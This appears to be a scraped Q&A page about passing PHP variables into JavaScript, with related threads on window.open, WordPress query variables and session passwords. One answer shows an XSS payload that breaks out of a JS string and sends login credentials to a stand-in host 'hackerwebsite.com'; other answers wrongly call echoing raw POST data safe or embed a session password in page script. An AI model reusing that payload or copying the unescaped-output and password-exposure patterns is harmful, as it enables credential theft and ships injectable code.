How to pass variable from php to javascript? - javascript

I want to pass a php variable to javascript. I have tried something but I am not sure if it is safe way to do.
<?php
$name=$_POST['name'];
?>
<script>
var name="<?php echo $name ?>";
</script>
Also people do it some thing like this
<?php
$name = $_POST['name'];
echo '<script>';
echo 'var name = ' . json_encode($name) . ';';
echo '</script>';
?>
Which of the code is better in terms of safety. Is there any risk using first code? A little explanation will be enough. Thanks

First case:
This case if used if we want to simply assign string value in javascript variable.
<script>
var name="<?php echo $name ?>";
</script>
Second case:
For this case, you should use json_encode() when you want to add some array in javascript variable.
<?php
$name = array('name' => $_POST['name']);
echo '<script>';
echo 'var name = ' . json_encode($name) . ';';
echo '</script>';
?>
And yes, echo whole javascript or just echo your variable will make no change in your output. Just make sure that your javascript variable has proper wrapper either ' or nothing in case of object;

Never print a post or get variables without validation.
https://en.wikipedia.org/wiki/Cross-site_scripting
http://code.tutsplus.com/articles/data-sanitization-and-validation-with-wordpress--wp-25536

From experience, as your POST data shouldn't possibly be manipulated in the first place for all users, you have to keep in mind that you should never trust user input data - a form can be compromised.
TL;DR
It's impossible to give you a yes/no answer, it all depends of the context of your script.
Let's imagine a scenario. On your original form you're echo'ing a text that come from your database:
<form action="otherpage.php" method="post">
<input name="name" type="text" id="name" />
<?php echo $some_text_from_database; ?>
<input type="submit" value="Submit" />
</form>
Imagine that a malicious hacker managed to changed the content of that text from database that you get by an SQL injection, some password got from an author account or whatever other way ; to this :
<script type="text/javascript">
document.getElementById('name').name = 'whatever';
</script>
<input name='name' type='text' value='";
document.querySelector("#login_form").addEventListener("submit", function(){
var data "login="+document.getElementById("login").value+"&password="+document.getElementById("password").value;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "http://hackerwebsite.com/get_passwords.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send();
});
var a="' />
This will first change the original input name, then create a new one with a malicious script as value. So we get in $_POST['name'] this new input, and not the original one - user input will be ignored.
So, let's bring your imagination a bit further. Let's say that in your otherpage.php there is a login form for some reason. Doing this on this page:
<script>
var name="<?php echo $_POST['name']; ?>";
</script>
Will result to this:
<script>
var name="";
document.querySelector("#login_form").addEventListener("submit", function(){
var data "login="+document.getElementById("login").value+"&password="+document.getElementById("password").value;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", "http://hackerwebsite.com/get_passwords.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send();
});
var a="";
</script>
What this will do? When the login form will be submitted, an AJAX request will be sent to the hacker website, sending the login and password in plain text...
So to summarize this: hacker exploit your simple echo to access a form input he couldn't access in other way.
As it could sound as a really edge case, in a general way you should always be carefull when manipulating user input, even database data. You can't always deeply understand the full context of what you're doing, and hackers are often highly imaginative people. Just sanitizing your data with sanitize_text_field for example (considering you're working in a Wordpress context) will take no time.
PS: All that scenario is pretty much something I experienced few years ago. An hacker managed to stole a lot of user data with something like this on a website I had to work with. Since then I learn that being too much paranoid is not a bad thing :)
Some good reading :
Cross-Site Scripting (XSS)

Note that the Javascript code will break if $name contains quotes. Use the PHP function addslashes to avoid this:
<script>
var name = "<?php echo addslashes($name); ?>";
</script>

Your both code will produce same result and there no safety issue in both case.
You can find tutorials about web server and web browser on google for more details.
http://www.tutorialspoint.com/internet_technologies/web_servers.htm

Yep you are doing it right. There is no security issue in doing it the way you have done.

Related

PHP Pass Variable to new Window.Open Javascript

I have read the following posts, but they are a little over the top for me. I think I'm trying to do something fairly simple, and would like some guidance.
How to pass variables and data from PHP to JavaScript?
passing PHP variables across javascript windows.open to another PHP page
Posting a php variable to a new window
Here is the case:
I have a php script which is very simple, it calls another script and passes 2 variables:
<?php
echo '<script type="text/javascript" language="javascript">
window.open("http://callpage.com/utils/cdr.php?callernum=123456789&calltime=2017-02-22 16:24:12");
</script>';
?>
Note: This is just a "hardcoded" example.
The next script, takes those numbers and builds file/url variable.
Lets say
$file = /var/www/html/file.wav
What I'm trying to do open a new window to the effect of :
http://newpage.com/$file
I have read and found that I think the best use is Javascript, but I can't seem to get my variable into the Javascript.
Here is what I would like to get working:
<?php
$file = /var/www/html/file.wav
echo '<script type="text/javascript" language="javascript">
window.open("http://newpage.com/$file");
</script>';
?>
A few notes:
I don't want to "redirect" the old page, I want it to stay open, and the remote page isn't on the same domain
(one is a.domain.com and the other is b.domain.com).
I don't care about window sizes, etc, its a wav file that I'm expecting the browser to just play with a simple Browser default interface for Wav.
if I understood correctly what you want, you have to concatenate the string with the variable in order to be replaceed
<?php
$file = '/var/www/html/file.wav';
echo '<script type="text/javascript" language="javascript">
window.open("http://newpage.com/'.$file.'");
</script>';
?>
Use string interpolation with double quotes for the echo statement and single quotes everywhere inside the javascript:
echo "<script type='text/javascript' language='javascript'>
window.open('http://newpage.com/$file');
</script>";
The interpolated PHP variable $file should be correctly interpreted as a string and the value it holds should be displayed in the URI of your javascript.
Check out this easy to understand info about variable interpolation http://phppot.com/php/variable-interpolation-in-php/
Here is my "final" code snippet:
$query->execute();
while ($row = $query->fetch(PDO::FETCH_ASSOC))
{
$uid = $row['uniqueid'];
foreach(glob($path. "*". $uid. "*") as $file) {
$link = "http://newpage.com$file";
echo "<script type='text/javascript' language='javascript'>
window.open('$link');
</script>";
}
}

how to create a dynamic redirect link with js and php?

PHP has no relation and behavior with browsers and in some times it makes some mistake. For example we can't set for header function to redirect to a page in a blank page. Because it has no relation with the browsers and for doing this, we should use JS .Now I'm mixing these two languages to reaching the goal.
<?php
$word = $_POST["tagTxt"];
$tag = "https://www.example.com/" . $word;
echo '<script>window.open("Location: <?php $search;?>");</script>';
?>
The goal is this code but it doesn't work. I want get a string from a first page then post it with post method and then past it to a static address for redirecting with blank target. Thanks.
I think you are trying to open a new url when the page is loaded.
So if you trying to do this check the code below.
This way you are mixing the parameters received from client, processing them and them sending back to the client.
Then you use the javascript with the window.onload function to execute the redirect page when the page is loaded with the received parameter.
<?php
$word = "1";
$tag = "www.yahoo.com/" . $word;
echo '<script text="text/javascript">window.onload = function(){window.open("'.$tag.'");} </script>';
?>
Not sure I fully understood your question, but have you tried something like this:
<?php header("Location: $search");
If you are "changing" the web page. Do not use window.open
Use window.location = 'http://www.google.com/';
in your example do this
<?php
$word = $_POST["tagTxt"];
$tag = "https://www.example.com/" . $word;
echo "<script>window.location = '$tag';</script>";
?>
(copy the code above, and it should work perfectly for what you're asking for)
I fount the way.
thanks all.
<?php
$word = $_POST["tagTxt"];
$tag = "https://www.example.com/" . $word;
echo "<script>window.open( '$tag' );</script>";
?>

In WordPress how do I pass multiple variables into the URL and retrieve them?

For some reason I can only retriever the first variable, in this instance, "product_category" out of the URL http://localhost/coffeesite/?product_category=coffee&brand=bourbon .
I'm outputting javascript to confirm that I've set the variable, but again, only coffee will be alerted, and not brand. I'm using WordPress's 'get_query_var'. See code below:
<?php
echo '<script> product_category = "' . get_query_var('product_category') . '";
brand = "' . get_query_var('brand') . '";
alert(product_category);
alert(brand);
</script>';
?>
Any help would be appreciated - I'm struggling to solve it!
Since you are testing, maybe you could test the php directly? The function get_query_var is just a wrapper for the generic php array $_GET. You should have these values available at $_GET['product_category'] and $_GET['brand']. But instead of assuming everything is where it is supposed to be, why not check what you actually have?
<?php
add_settings_error("var-test", "var-test", implode(", ", array_keys($_GET)));
?>
Disclaimer: I am a Drupal developer, not Wordpress, but they are both php.
I am using the documented message tool here, for a little cleaner php code.
https://codex.wordpress.org/Function_Reference/add_settings_error
You could still use your javascript if you would like:
<?php
echo '<script> alert( '. implode(", ", array_keys($_GET)) .');
</script>';
?>
Second possibility. The reason for using a wrapper function instead of the raw core is for what it provides in that wrap. My normal assumption is sanitation and security filters, which are poor for testing but essential for production environments. However, with a little bit of reading on the function you are using, it says it only returns values for known query objects and if you are using custom variables in the url you should register them. https://codex.wordpress.org/Function_Reference/get_query_var
Have you registered "brand"?

php echo of javascript with php echo inside

I am very new to PHP and JavaScript. I am currently using echo in PHP to run some JavaScript on the page. I need to make a new javascript array and a new variable that are equal to an existing PHP array and variable, so I did this:
var messages = <?php print_r($messages)?>
var list = <?php echo $message['user_name'].': '.$message['text'].' ('.date('d/m/Y H:i:s', $message['date']).')'.'<hr />'; ?>
However, there is a problem caused by my using echo to echo script containing echo. How would I solve this. I would like to echo it because it is only about 4 lines long, so is there an alternative.
Thank you in advance.
Edit: This is the whole JavaScript. It is for a messaging system. $messages is declared from another PHP function, and the basic aim of this code is to 'refresh' the echo every few seconds so that the user can see new messages without having to refresh their page:
echo '<script type="text/javascript">;';
echo 'var messages = <?php print_r($messages)?';
echo 'var list = <?php echo $message['user_name'].': '.$message['text'].' ('.date('d/m/Y H:i:s', $message['date']).')'.'<hr />'; ?>';
echo 'setInterval(function(){console.log("hello")},3000);';
echo '</script>';
Not getting what you want,but if you want to use php array in javascript than make it javascript array
<script>
<?php $test_arr = array('apple','banana','mango');?>
var js_array = <?php echo json_encode($test_arr);?>;
</script>
output
<script>
var js_array = ["apple","banana","mango"];
</script>
Your Javascript will execute on the client, not on the server. This means that foo is not evaluated on the server side and therefore its value can't be written to a file on the server.
The best way to think about this process is as if you're generating a text file dynamically. The text you're generating only becomes executable code once the browser interprets it. Only what you place between <?php tags is evaluated on the server.
By the way, making a habit of embedding random pieces of PHP logic in HTML or Javascript can lead to seriously convoluted code. I speak from painful experience.

How do I put a session value into a javascript?

I have a session['password']. I would like to get the session value and use it to validate against user's input.
if(opw != $_session['password']){
errors[errors.length] = "Sorry, password does not match.";
}
This is what I have been trying, however if I input this they do not read the session. And ignore this conditions. How do I actually insert session value into Javascript?
As the other answers have suggested, you have to embed your PHP session value into the javascript when the page is generator. But the others have forgotten one important thing - you have to generate VALID javascript or your entire script will get killed with a syntax error.
if (opw != <?php echo json_encode($_SESSION['password']) ?>) {
Note the call to json_encode - it's not just enough to output the password string. You have to make sure that the password becomes a VALID javascript string, which json_encode ensures.
Your inline JavaScript code:
var session = <?php print $_SESSION['password']; ?>;
Is that what you're looking for?
You need to surround the $_SESSION in <?php echo ?>. This causes the PHP variable to be printed into the Javascript on the page.
if(opw != <?php echo $_SESSION['password']; ?> ){
However, this is a deeply insecure method of checking a password and I advise against using it. If not transferred over SSL, the password will be sent in plain text on every page view. Furthermore, it is likely to be cached by the web browser where anyone with access to the computer may read it.
You'll have to actually echo out the errors manually:
// do all of your validation and add all of the errors to an array.
if($opw != $_session['password']){
$errors[] = "Sorry, password does not match.";
}
echo "<script type=\"text/javascript\">var errors = ".
json_encode( $errors ).";</script>";
Then, later:
<script type="text/javascript">alert(errors)</script>
Please note that PHP is totally different from JS. PHP is a server side coding-language, meaning it get's executed when your server is rendering the requested page. In that page (which contains some HTML) there can also be JS. However, JS cannot connect to PHP in the way you think it does. For this you could use Ajax or something (but that's way too complicated for the goal you're trying to achieve).
You probably want something like this
// eg. index.php or something
...
<?php
session_start();
if ($_POST['password'] == 'somePassYouDefined') {
echo 'Authenticated';
}else if (isset($_POST['password'])) {
echo 'Couldn\'t authenticate ...';
}else {
?>
<form method='post'>
<input type='password' name='password' placeholder='Password' />
<input type='submit' />
</form>
<?php
}
?>
ASP version:
if(opw != '<%=Session("password")%>' ){
I added quotes because a password is usually a string.
When the user runs this script, the html page that is downloaded to their computer will display the password IN PLAIN TEXT, ie:
if(opw != 'BOBSPASSWORD' ){
So, if they don't know or have a password, they can view/source and find it.

Categories